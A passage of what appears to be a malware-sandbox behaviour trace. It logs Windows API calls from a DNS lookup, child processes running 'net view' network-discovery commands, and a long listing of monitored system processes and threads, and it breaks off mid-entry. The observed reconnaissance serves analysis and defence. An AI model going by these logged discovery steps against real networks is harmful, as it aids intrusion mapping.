RtlAnsiStringToUnicodeString (in: DestinationString=0x10faa8, SourceString="Domain", AllocateDestinationString=0 | out: DestinationString="Domain") returned 0x0 [0058.281] NtQueryValueKey (in: KeyHandle=0x6c, ValueName="Domain", KeyValueInformationClass=0x1, KeyValueInformation=0x2e3990, Length=0x400, ResultLength=0x10faa0 | out: KeyValueInformation=0x2e3990*(TitleIndex=0x0, Type=0x1, DataOffset=0x20, DataLength=0x2, NameLength=0xc, Name="Domain", Data=""), ResultLength=0x10faa0) returned 0x0 [0058.281] RtlFreeHeap (HeapHandle=0x2c0000, Flags=0x0, BaseAddress=0x2e3da0) returned 1 [0058.282] RtlUnicodeStringToAnsiString (in: DestinationString=0x10fab8, SourceString="", AllocateDestinationString=0 | out: DestinationString="") returned 0x0 [0058.282] RtlFreeHeap (HeapHandle=0x2c0000, Flags=0x0, BaseAddress=0x2e3990) returned 1 [0058.282] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x400) returned 0x2e3990 [0058.282] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x400) returned 0x2e3da0 [0058.282] RtlAnsiStringToUnicodeString (in: DestinationString=0x10faa8, SourceString="DhcpDomain", AllocateDestinationString=0 | out: DestinationString="DhcpDomain") returned 0x0 [0058.282] NtQueryValueKey (in: KeyHandle=0x6c, ValueName="DhcpDomain", KeyValueInformationClass=0x1, KeyValueInformation=0x2e3990, Length=0x400, ResultLength=0x10faa0 | out: KeyValueInformation=0x2e3990, ResultLength=0x10faa0) returned 0xc0000034 [0058.282] RtlFreeHeap (HeapHandle=0x2c0000, Flags=0x0, BaseAddress=0x2e3da0) returned 1 [0058.282] RtlFreeHeap (HeapHandle=0x2c0000, Flags=0x0, BaseAddress=0x2e3990) returned 1 [0058.282] RtlInitAnsiString (in: DestinationString=0x10fad0, SourceString="\\Registry\\Machine\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient" | out: DestinationString="\\Registry\\Machine\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient") [0058.282] RtlAnsiStringToUnicodeString (in: DestinationString=0x10fac0, SourceString="\\Registry\\Machine\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient", AllocateDestinationString=1 | out: DestinationString="\\Registry\\Machine\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient") returned 0x0 [0058.282] NtOpenKey (in: KeyHandle=0x10fba0, DesiredAccess=0x20019, ObjectAttributes=0x10fae0*(Length=0x30, RootDirectory=0x0, ObjectName="\\Registry\\Machine\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0) | out: KeyHandle=0x10fba0*=0x0) returned 0xc0000034 [0058.282] RtlFreeAnsiString (AnsiString="\\") [0058.282] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x400) returned 0x2e3990 [0058.282] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x400) returned 0x2e3da0 [0058.282] RtlAnsiStringToUnicodeString (in: DestinationString=0x10faa8, SourceString="SearchList", AllocateDestinationString=0 | out: DestinationString="SearchList") returned 0x0 [0058.282] NtQueryValueKey (in: KeyHandle=0x6c, ValueName="SearchList", KeyValueInformationClass=0x1, KeyValueInformation=0x2e3990, Length=0x400, ResultLength=0x10faa0 | out: KeyValueInformation=0x2e3990*(TitleIndex=0x0, Type=0x1, DataOffset=0x28, DataLength=0x2, NameLength=0x14, Name="SearchList", Data=""), ResultLength=0x10faa0) returned 0x0 [0058.282] RtlFreeHeap (HeapHandle=0x2c0000, Flags=0x0, BaseAddress=0x2e3da0) returned 1 [0058.282] RtlUnicodeStringToAnsiString (in: DestinationString=0x10fab8, SourceString="", AllocateDestinationString=0 | out: DestinationString="") returned 0x0 [0058.282] RtlFreeHeap (HeapHandle=0x2c0000, Flags=0x0, BaseAddress=0x2e3990) returned 1 [0058.282] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x400) returned 0x2e3990 [0058.282] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x400) returned 0x2e3da0 [0058.282] RtlAnsiStringToUnicodeString (in: DestinationString=0x10faa8, SourceString="DhcpSearchList", AllocateDestinationString=0 | out: DestinationString="DhcpSearchList") returned 0x0 [0058.282] NtQueryValueKey (in: KeyHandle=0x6c, ValueName="DhcpSearchList", KeyValueInformationClass=0x1, KeyValueInformation=0x2e3990, Length=0x400, ResultLength=0x10faa0 | out: KeyValueInformation=0x2e3990, ResultLength=0x10faa0) returned 0xc0000034 [0058.282] RtlFreeHeap (HeapHandle=0x2c0000, Flags=0x0, BaseAddress=0x2e3da0) returned 1 [0058.282] RtlFreeHeap (HeapHandle=0x2c0000, Flags=0x0, BaseAddress=0x2e3990) returned 1 [0058.282] gethostname (in: name=0x65ed0, namelen=12800 | out: name="XDuwTfOno") returned 0 [0058.317] free (_Block=0x65ed0) [0058.317] malloc (_Size=0x20) returned 0x18df80 [0058.318] getenv (_VarName="HOME") returned 0x0 [0058.318] DnsQueryConfigAllocEx () returned 0x1c41620 [0059.682] _vsnprintf (in: _DstBuf=0x10fa50, _MaxCount=0x1e, _Format="%u.%u.%u.%u.in-addr.arpa.", _ArgList=0xff9c8 | out: _DstBuf="1.0.168.192.in-addr.arpa.") returned 25 [0059.682] htons (hostshort=0x1) returned 0x100 [0059.682] htons (hostshort=0x1) returned 0x100 [0059.683] socket (af=2, type=2, protocol=0) returned 0x110 [0059.684] connect (s=0x110, name=0x1c41640*(sa_family=2, sin_port=0x35, sin_addr="192.168.0.1"), namelen=16) returned 0 [0059.684] send (s=0x110, buf=0xffa50*, len=42, flags=0) returned 42 [0059.684] select (in: nfds=272, readfds=0xef4c0, writefds=0x0, exceptfds=0x0, timeout=0xef498*(tv_sec=2, tv_usec=0) | out: readfds=0xef4c0, writefds=0x0, exceptfds=0x0) returned 1 [0059.685] recv (in: s=0x110, buf=0xef9b0, len=65536, flags=0 | out: buf=0xef9b0*) returned 92 [0059.685] closesocket (s=0x110) returned 0 [0059.685] htons (hostshort=0x100) returned 0x1 [0059.685] htons (hostshort=0x200) returned 0x2 [0059.685] htons (hostshort=0x0) returned 0x0 [0059.685] htons (hostshort=0x0) returned 0x0 [0059.685] malloc (_Size=0x9) returned 0x18dfb0 [0059.685] LocalAlloc (uFlags=0x40, uBytes=0x60) returned 0x2eabb0 [0059.686] DnsFreeConfigStructure () returned 0x52b5a401 [0059.686] strcpy_s (in: _Dst=0xff503020, _DstSize=0x100, _Src="colossus" | out: _Dst="colossus") returned 0x0 [0059.686] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x35, dwLanguageId=0x0, lpBuffer=0x10f908, nSize=0x0, Arguments=0x10f900 | out: lpBuffer="p¡/") returned 0x7 [0059.686] fprintf (in: _File=0x7fefe122ab0, _Format="%-7s %s" | out: _File=0x7fefe122ab0) returned 17 [0059.687] fprintf (in: _File=0x7fefe122ab0, _Format="\nAddress:" | out: _File=0x7fefe122ab0) returned 9 [0059.687] inet_ntoa (in=0x100a8c0) returned="192.168.0.1" [0059.687] fprintf (in: _File=0x7fefe122ab0, _Format="%c %s" | out: _File=0x7fefe122ab0) returned 13 [0059.687] fprintf (in: _File=0x7fefe122ab0, _Format="\n\n" | out: _File=0x7fefe122ab0) returned 2 [0059.687] RtlIpv4StringToAddressA () returned 0x0 [0059.687] _vsnprintf (in: _DstBuf=0x10f770, _MaxCount=0x1e, _Format="%u.%u.%u.%u.in-addr.arpa.", _ArgList=0xff6e8 | out: _DstBuf="255.255.255.255.in-addr.arpa.") returned 29 [0059.687] htons (hostshort=0x2) returned 0x200 [0059.687] htons (hostshort=0x1) returned 0x100 [0059.687] socket (af=2, type=2, protocol=0) returned 0x110 [0059.687] connect (s=0x110, name=0x2eabd0*(sa_family=2, sin_port=0x35, sin_addr="192.168.0.1"), namelen=16) returned 0 [0059.687] send (s=0x110, buf=0xff770*, len=46, flags=0) returned 46 [0059.687] select (in: nfds=272, readfds=0xef1e0, writefds=0x0, exceptfds=0x0, timeout=0xef1b8*(tv_sec=2, tv_usec=0) | out: readfds=0xef1e0, writefds=0x0, exceptfds=0x0) returned 1 [0059.688] recv (in: s=0x110, buf=0xef6d0, len=65536, flags=0 | out: buf=0xef6d0*) returned 46 [0059.688] closesocket (s=0x110) returned 0 [0059.688] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x34, dwLanguageId=0x400, lpBuffer=0x10f880, nSize=0x0, Arguments=0x10f888 | out: lpBuffer="`\x8f-") returned 0x38 [0059.688] CharToOemBuffA (in: lpszSrc="*** colossus can't find 255.255.255.255: Server failed\r\n", lpszDst=0x2d8f60, cchDstLength=0x38 | out: lpszDst="*** colossus can't find 255.255.255.255: Server failed\r\n") returned 1 [0059.688] _write (in: _FileHandle=2, _Buf=0x2d8f60*, _MaxCharCount=0x38 | out: _Buf=0x2d8f60*) returned 56 [0059.689] LocalFree (hMem=0x2d8f60) returned 0x0 [0059.689] free (_Block=0x18dfb0) [0059.689] LocalFree (hMem=0x2eabb0) returned 0x0 [0059.689] free (_Block=0x18df30) [0059.689] exit (_Code=0) Thread: id = 375 os_tid = 0xb4c Process: id = "30" image_name = "net.exe" filename = "c:\\windows\\system32\\net.exe" page_root = "0x2d1d5000" os_pid = "0xbac" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "22" os_parent_pid = "0x664" cmd_line = "C:\\Windows\\system32\\\\net.exe view colossus" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 379 os_tid = 0xbbc Thread: id = 389 os_tid = 0x9f0 Process: id = "31" image_name = "net.exe" filename = "c:\\windows\\system32\\net.exe" page_root = "0x2d4da000" os_pid = "0x910" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "22" os_parent_pid = "0x664" cmd_line = "C:\\Windows\\system32\\\\net.exe view igmp.mcast.net" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 390 os_tid = 0xa90 Thread: id = 409 os_tid = 0xb7c Process: id = "32" image_name = "logonui.exe" filename = "c:\\windows\\system32\\logonui.exe" page_root = "0x1537e000" os_pid = "0xae0" os_integrity_level = "0x4000" os_privileges = "0x60b16000" monitor_reason = "rpc_server" parent_id = "7" os_parent_pid = "0x1ac" cmd_line = "\"LogonUI.exe\" /flags:0x0" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "BUILTIN\\Administrators" [0xe], "Everyone" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7] Thread: id = 416 os_tid = 0x678 Thread: id = 417 os_tid = 0x10c Thread: id = 418 os_tid = 0x5b0 Thread: id = 419 os_tid = 0x7b8 Thread: id = 420 os_tid = 0x7cc Thread: id = 421 os_tid = 0x32c Thread: id = 422 os_tid = 0x8e0 Thread: id = 423 os_tid = 0xb60 Thread: id = 424 os_tid = 0xbc4 Process: id = "33" image_name = "logonui.exe" filename = "c:\\windows\\system32\\logonui.exe" page_root = "0x24715000" os_pid = "0x9ac" os_integrity_level = "0x4000" os_privileges = "0x860b14080" monitor_reason = "rpc_server" parent_id = "7" os_parent_pid = "0x178" cmd_line = "\"LogonUI.exe\" /flags:0x1" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "BUILTIN\\Administrators" [0xe], "Everyone" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7] Thread: id = 437 os_tid = 0xabc Thread: id = 438 os_tid = 0xa4c Thread: id = 439 os_tid = 0xa1c Thread: id = 440 os_tid = 0xa6c Thread: id = 441 os_tid = 0xa5c Thread: id = 442 os_tid = 0xa3c Thread: id = 443 os_tid = 0x9cc Thread: id = 444 os_tid = 0x9ec Thread: id = 445 os_tid = 0xa9c Process: id = "34" image_name = "System" filename = "" page_root = "0x187000" os_pid = "0x4" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "kernel_analysis" parent_id = "0" os_parent_pid = "0xffffffffffffffff" cmd_line = "" cur_dir = "" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "BUILTIN\\Administrators" [0xe], "Everyone" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7] Thread: id = 497 os_tid = 0x8 Thread: id = 498 os_tid = 0x5c Thread: id = 499 os_tid = 0x78 Thread: id = 500 os_tid = 0xc0 Thread: id = 501 os_tid = 0x28 Thread: id = 502 os_tid = 0xcc Thread: id = 503 os_tid = 0xc4 Thread: id = 504 os_tid = 0x44 Thread: id = 505 os_tid = 0x40 Thread: id = 506 os_tid = 0x4c Thread: id = 507 os_tid = 0x3c Thread: id = 508 os_tid = 0xb4 Thread: id = 509 os_tid = 0xd0 Thread: id = 510 os_tid = 0xd4 Thread: id = 511 os_tid = 0xb8 Thread: id = 512 os_tid = 0xd8 Thread: id = 513 os_tid = 0xdc Thread: id = 514 os_tid = 0xe0 Thread: id = 517 os_tid = 0x64 Thread: id = 519 os_tid = 0x9c Thread: id = 520 os_tid = 0x84 Thread: id = 521 os_tid = 0x38 Thread: id = 522 os_tid = 0x30 Thread: id = 523 os_tid = 0x48 Thread: id = 524 os_tid = 0xec Thread: id = 525 os_tid = 0x2c Thread: id = 526 os_tid = 0x100 Thread: id = 527 os_tid = 0x104 Thread: id = 528 os_tid = 0x108 Thread: id = 529 os_tid = 0x10c Thread: id = 530 os_tid = 0x114 Thread: id = 531 os_tid = 0x118 Thread: id = 532 os_tid = 0x110 Thread: id = 533 os_tid = 0x80 Thread: id = 534 os_tid = 0x8c Thread: id = 535 os_tid = 0x98 Thread: id = 536 os_tid = 0x11c Thread: id = 537 os_tid = 0x120 Thread: id = 538 os_tid = 0xb0 Thread: id = 542 os_tid = 0x90 Thread: id = 543 os_tid = 0x13c Thread: id = 544 os_tid = 0x140 Thread: id = 545 os_tid = 0x144 Thread: id = 546 os_tid = 0x148 Thread: id = 561 os_tid = 0x88 Thread: id = 565 os_tid = 0x19c Thread: id = 576 os_tid = 0x24 Thread: id = 582 os_tid = 0x50 Thread: id = 589 os_tid = 0x60 Thread: id = 594 os_tid = 0x68 Thread: id = 616 os_tid = 0x74 Thread: id = 621 os_tid = 0x27c Thread: id = 648 os_tid = 0x2f0 Thread: id = 659 os_tid = 0x318 [0268.381] KeDelayExecutionThread (WaitMode=0x0, Alertable=0, Interval=0xfffff880027c75a8*=-1215842058) Thread: id = 701 os_tid = 0x3d4 Thread: id = 724 os_tid = 0xbc Thread: id = 741 os_tid = 0x39c Thread: id = 742 os_tid = 0x3d0 Thread: id = 753 os_tid = 0x124 Thread: id = 785 os_tid = 0x94 Thread: id = 789 os_tid = 0x20 Thread: id = 805 os_tid = 0x4e8 Thread: id = 828 os_tid = 0x4ec Thread: id = 829 os_tid = 0x4f0 Thread: id = 830 os_tid = 0x560 Thread: id = 872 os_tid = 0xa0 Thread: id = 881 os_tid = 0x634 Thread: id = 883 os_tid = 0x63c Thread: id = 894 os_tid = 0x668 Thread: id = 906 os_tid = 0x6a0 Thread: id = 927 os_tid = 0x6f8 Thread: id = 935 os_tid = 0x718 Thread: id = 947 os_tid = 0x744 Thread: id = 950 os_tid = 0x750 Thread: id = 952 os_tid = 0x758 Thread: id = 954 os_tid = 0x760 Thread: id = 955 os_tid = 0x764 Thread: id = 956 os_tid = 0x768 Thread: id = 966 os_tid = 0x1c Process: id = "35" image_name = "smss.exe" filename = "c:\\windows\\system32\\smss.exe" page_root = "0x17ccb000" os_pid = "0xe4" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "34" os_parent_pid = "0x4" cmd_line = "\\SystemRoot\\System32\\smss.exe" cur_dir = "C:\\Windows" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "BUILTIN\\Administrators" [0xe], "Everyone" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7] Thread: id = 515 os_tid = 0xe8 Thread: id = 516 os_tid = 0xf0 Thread: id = 539 os_tid = 0x128 Thread: id = 551 os_tid = 0x16c Process: id = "36" image_name = "autochk.exe" filename = "c:\\windows\\system32\\autochk.exe" page_root = "0x2cc4f000" os_pid = "0xf4" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "35" os_parent_pid = "0xe4" cmd_line = "\\??\\C:\\Windows\\system32\\autochk.exe *" cur_dir = "C:\\Windows\\system32" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "BUILTIN\\Administrators" [0xe], "Everyone" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7] Thread: id = 518 os_tid = 0xf8 Process: id = "37" image_name = "smss.exe" filename = "c:\\windows\\system32\\smss.exe" page_root = "0xe8a1000" os_pid = "0x12c" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "35" os_parent_pid = "0xe4" cmd_line = "\\SystemRoot\\System32\\smss.exe 00000000 0000003c " cur_dir = "C:\\Windows\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "BUILTIN\\Administrators" [0xe], "Everyone" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7] Thread: id = 540 os_tid = 0x130 Process: id = "38" image_name = "csrss.exe" filename = "c:\\windows\\system32\\csrss.exe" page_root = "0x2c935000" os_pid = "0x134" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "37" os_parent_pid = "0x12c" cmd_line = "%SystemRoot%\\system32\\csrss.exe ObjectDirectory=\\Windows SharedSection=1024,20480,768 Windows=On SubSystemType=Windows ServerDll=basesrv,1 ServerDll=winsrv:UserServerDllInitialization,3 ServerDll=winsrv:ConServerDllInitialization,2 ServerDll=sxssrv,4 ProfileControl=Off MaxRequestThreads=16" cur_dir = "C:\\Windows\\system32" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "BUILTIN\\Administrators" [0xe], "Everyone" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7] Thread: id = 541 os_tid = 0x138 Thread: id = 547 os_tid = 0x14c Thread: id = 548 os_tid = 0x150 Thread: id = 549 os_tid = 0x154 Thread: id = 550 os_tid = 0x158 Thread: id = 559 os_tid = 0x190 Thread: id = 566 os_tid = 0x1a4 Thread: id = 567 os_tid = 0x1a8 Thread: id = 571 os_tid = 0x1c0 Thread: id = 575 os_tid = 0x1dc Process: id = "39" image_name = "smss.exe" filename = "c:\\windows\\system32\\smss.exe" page_root = "0x2c5a8000" os_pid = "0x15c" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "35" os_parent_pid = "0xe4" cmd_line = "\\SystemRoot\\System32\\smss.exe 00000001 0000003c " cur_dir = "C:\\Windows\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "BUILTIN\\Administrators" [0xe], "Everyone" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7] Thread: id = 552 os_tid = 0x160 Process: id = "40" image_name = "wininit.exe" filename = "c:\\windows\\system32\\wininit.exe" page_root = "0xe03b000" os_pid = "0x164" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "37" os_parent_pid = "0x12c" cmd_line = "wininit.exe" cur_dir = "C:\\Windows\\system32" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "BUILTIN\\Administrators" [0xe], "Everyone" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7] Thread: id = 553 os_tid = 0x168 Thread: id = 562 os_tid = 0x194 Thread: id = 563 os_tid = 0x198 Thread: id = 568 os_tid = 0x1ac Thread: id = 569 os_tid = 0x1b0 Thread: id = 570 os_tid = 0x1bc Thread: id = 586 os_tid = 0x1fc Thread: id = 634 os_tid = 0x2bc Process: id = "41" image_name = "csrss.exe" filename = "c:\\windows\\system32\\csrss.exe" page_root = "0xe421000" os_pid = "0x170" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "39" os_parent_pid = "0x15c" cmd_line = "%SystemRoot%\\system32\\csrss.exe ObjectDirectory=\\Windows SharedSection=1024,20480,768 Windows=On SubSystemType=Windows ServerDll=basesrv,1 ServerDll=winsrv:UserServerDllInitialization,3 ServerDll=winsrv:ConServerDllInitialization,2 ServerDll=sxssrv,4 ProfileControl=Off MaxRequestThreads=16" cur_dir = "C:\\Windows\\system32" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "BUILTIN\\Administrators" [0xe], "Everyone" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7] Thread: id = 554 os_tid = 0x174 Thread: id = 555 os_tid = 0x178 Thread: id = 556 os_tid = 0x17c Thread: id = 557 os_tid = 0x180 Thread: id = 558 os_tid = 0x184 Thread: id = 564 os_tid = 0x1a0 Thread: id = 579 os_tid = 0x1e0 Thread: id = 580 os_tid = 0x1e4 Thread: id = 803 os_tid = 0x4e4 Process: id = "42" image_name = "winlogon.exe" filename = "c:\\windows\\system32\\winlogon.exe" page_root = "0x2c027000" os_pid = "0x188" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "39" os_parent_pid = "0x15c" cmd_line = "winlogon.exe" cur_dir = "C:\\Windows\\system32" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "BUILTIN\\Administrators" [0xe], "Everyone" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7] Thread: id = 560 os_tid = 0x18c Thread: id = 572 os_tid = 0x1d4 Thread: id = 573 os_tid = 0x1d8 Thread: id = 639 os_tid = 0x2cc Thread: id = 660 os_tid = 0x324 Thread: id = 716 os_tid = 0x110 Thread: id = 717 os_tid = 0x100 Thread: id = 723 os_tid = 0x144 Process: id = "43" image_name = "services.exe" filename = "c:\\windows\\system32\\services.exe" page_root = "0x24f52000" os_pid = "0x1b4" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "40" os_parent_pid = "0x164" cmd_line = "C:\\Windows\\system32\\services.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "BUILTIN\\Administrators" [0xe], "Everyone" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7] Thread: id = 574 os_tid = 0x1b8 Thread: id = 595 os_tid = 0x214 Thread: id = 596 os_tid = 0x218 Thread: id = 597 os_tid = 0x21c Thread: id = 598 os_tid = 0x220 Thread: id = 599 os_tid = 0x224 Thread: id = 600 os_tid = 0x228 Thread: id = 601 os_tid = 0x22c Thread: id = 602 os_tid = 0x230 Thread: id = 603 os_tid = 0x234 Thread: id = 604 os_tid = 0x238 Thread: id = 605 os_tid = 0x23c Thread: id = 620 os_tid = 0x278 Thread: id = 720 os_tid = 0x10c Thread: id = 810 os_tid = 0x50c Thread: id = 821 os_tid = 0x540 Thread: id = 824 os_tid = 0x550 Thread: id = 826 os_tid = 0x558 Process: id = "44" image_name = "lsass.exe" filename = "c:\\windows\\system32\\lsass.exe" page_root = "0x2be72000" os_pid = "0x1c4" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "40" os_parent_pid = "0x164" cmd_line = "C:\\Windows\\system32\\lsass.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "BUILTIN\\Administrators" [0xe], "Everyone" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7] Thread: id = 577 os_tid = 0x1c8 Thread: id = 581 os_tid = 0x1e8 Thread: id = 583 os_tid = 0x1ec Thread: id = 584 os_tid = 0x1f0 Thread: id = 585 os_tid = 0x1f4 Thread: id = 587 os_tid = 0x1f8 Thread: id = 588 os_tid = 0x200 [0268.380] ExQueueWorkItem (in: WorkItem=0xfffffa80019b62f4*(List.Flink=0x0, List.Blink=0x0, WorkerRoutine=0xfffffa80019baed9, Parameter=0xfffffa80019b60b4), QueueType=0x1 | out: WorkItem=0xfffffa80019b62f4*(List.Flink=0x0, List.Blink=0x0, WorkerRoutine=0xfffffa80019baed9, Parameter=0xfffffa80019b60b4)) Thread: id = 590 os_tid = 0x204 Thread: id = 591 os_tid = 0x208 Thread: id = 592 os_tid = 0x20c Thread: id = 593 os_tid = 0x210 Thread: id = 655 os_tid = 0x308 Thread: id = 666 os_tid = 0x33c Thread: id = 722 os_tid = 0x140 Thread: id = 750 os_tid = 0x410 Process: id = "45" image_name = "lsm.exe" filename = "c:\\windows\\system32\\lsm.exe" page_root = "0x2ba79000" os_pid = "0x1cc" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "40" os_parent_pid = "0x164" cmd_line = "C:\\Windows\\system32\\lsm.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "BUILTIN\\Administrators" [0xe], "Everyone" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7] Thread: id = 578 os_tid = 0x1d0 Thread: id = 607 os_tid = 0x248 Thread: id = 636 os_tid = 0x2c0 Thread: id = 638 os_tid = 0x2c8 Thread: id = 640 os_tid = 0x2d0 Thread: id = 642 os_tid = 0x2d8 Thread: id = 645 os_tid = 0x2e4 Thread: id = 646 os_tid = 0x2e8 Thread: id = 647 os_tid = 0x2ec Thread: id = 650 os_tid = 0x2f8 Thread: id = 809 os_tid = 0x508 Process: id = "46" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x1ee79000" os_pid = "0x240" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "43" os_parent_pid = "0x1b4" cmd_line = "C:\\Windows\\system32\\svchost.exe -k DcomLaunch" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\DcomLaunch" [0xa], "NT SERVICE\\PlugPlay" [0xe], "NT SERVICE\\Power" [0xa], "NT AUTHORITY\\Logon Session 00000000:000070b7" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 606 os_tid = 0x244 Thread: id = 608 os_tid = 0x24c Thread: id = 609 os_tid = 0x250 Thread: id = 610 os_tid = 0x254 Thread: id = 611 os_tid = 0x258 Thread: id = 612 os_tid = 0x25c Thread: id = 613 os_tid = 0x260 Thread: id = 614 os_tid = 0x264 Thread: id = 615 os_tid = 0x268 Thread: id = 617 os_tid = 0x26c Thread: id = 618 os_tid = 0x270 Thread: id = 619 os_tid = 0x274 Thread: id = 622 os_tid = 0x280 Thread: id = 624 os_tid = 0x28c Thread: id = 625 os_tid = 0x290 Thread: id = 626 os_tid = 0x294 Thread: id = 665 os_tid = 0x32c Thread: id = 934 os_tid = 0x714 Thread: id = 936 os_tid = 0x71c Thread: id = 985 os_tid = 0x7ec Thread: id = 986 os_tid = 0x7f0 Process: id = "47" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x1f2ae000" os_pid = "0x284" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "43" os_parent_pid = "0x1b4" cmd_line = "C:\\Windows\\system32\\svchost.exe -k RPCSS" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Network Service" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\RpcEptMapper" [0xe], "NT SERVICE\\RpcSs" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000b6d5" [0xc000000f], "LOCAL" [0x7] Thread: id = 623 os_tid = 0x288 Thread: id = 627 os_tid = 0x298 Thread: id = 628 os_tid = 0x29c Thread: id = 629 os_tid = 0x2a0 Thread: id = 630 os_tid = 0x2a4 Thread: id = 631 os_tid = 0x2a8 Thread: id = 632 os_tid = 0x2ac Thread: id = 633 os_tid = 0x2b0 Thread: id = 867 os_tid = 0x600 Thread: id = 911 os_tid = 0x6b4 Thread: id = 968 os_tid = 0x7a4 Thread: id = 970 os_tid = 0x7ac Thread: id = 974 os_tid = 0x7c0 Thread: id = 979 os_tid = 0x7d4 Process: id = "48" image_name = "svchost.exe" filename = 